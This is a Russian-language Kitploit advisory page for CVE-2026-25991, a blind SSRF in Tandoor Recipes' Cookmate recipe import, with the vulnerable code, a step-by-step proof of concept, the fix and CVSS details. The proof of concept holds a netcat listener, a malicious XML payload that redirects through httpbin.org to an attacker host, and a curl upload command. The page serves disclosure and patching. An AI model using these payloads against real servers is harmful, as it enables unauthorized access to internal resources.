CVE-2026-25991 — Доказательство концепции эксплуатации для CVE-2026-25991, слепой SSRF в импорте Cookmate в Tandoor Recipes, позволяющий аутентифицированным пользователям получать доступ к внутренним ресурсам. | Kitploit

if validate_import_url(url):
    # КРИТИЧНО: requests.get по умолчанию следует редиректам, обходя начальную проверку.
    response = requests.get(url) 
    self.import_recipe_image(recipe, BytesIO(response.content))

Настройте прослушиватель (машина атакующего): Откройте терминал и запустите nc для прослушивания входящих подключений. Это имитирует внутренний сервис или сервер под контролем атакующего.
```
nc -lvnp 9999
```
Создайте вредоносную XML-нагрузку: Создайте файл с именем payload.xml. Замените <YOUR_IP> на ваш публичный IP-адрес (или доступный IP). Эта нагрузка использует httpbin.org для обхода начальной проверки частного IP и перенаправления на ваш прослушиватель.
```
<recipes>
  <recipe>
    <title>SSRF_PoC</title>
    
    <imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
  </recipe>
</recipes>
```

Создайте ZIP-архив: Tandoor требует, чтобы XML находился внутри ZIP-файла.
```
zip payload.zip payload.xml
```
Выполните эксплойт (через API): Войдите как обычный пользователь (не администратор), чтобы получить cookie сессии и CSRF-токен. Затем отправьте POST-запрос на /api/import/: (Замените <TARGET_URL>, <SESSION_ID>, <CSRF_TOKEN> на фактические значения)
```
curl -X POST 'http://<TARGET_URL>/api/import/' \
  -H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
  -H 'X-CSRFToken: <CSRF_TOKEN>' \
  -F 'type=COOKMATE' \
  -F '[email protected]' \
  -F 'duplicates=true'
```

Проверьте подключение: Проверьте терминал вашего прослушивателя (nc). Вы увидите входящий HTTP GET-запрос от сервера Tandoor. Это подтверждает, что сервер, действуя от имени обычного пользователя, подключился к произвольному внешнему/внутреннему ресурсу.
```
GET /secret.txt HTTP/1.1
Host: <YOUR_IP>:9999
User-Agent: python-requests/2.x.x
...
```

# cookbook/integration/cookmate.py

# Вариант 1: Отключить редиректы (рекомендуется)
response = requests.get(url, allow_redirects=False)

# Вариант 2: Проверять редиректы
# (Требуется сложная логика для проверки каждого перехода редиректа на частные диапазоны IP)

ID CVE	CVE-2026-25991
Серьёзность	🔴 Высокая
Оценка CVSS	7.7
Вектор CVSS	[CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N]
CWE	CWE-918: Подделка серверных запросов (SSRF)
Затронутый продукт	Tandoor Recipes ≤ 2.5.0
Исправленная версия	2.5.1
Консультация	GHSA-j6xg-85mh-qqf7

CVE-2026-25991

Популярное

CVE-2026-25991: Слепой SSRF с доступом к внутренней сети через импорт рецептов

Краткое описание

Детали

PoC (Proof of Concept)

Воздействие

Исправление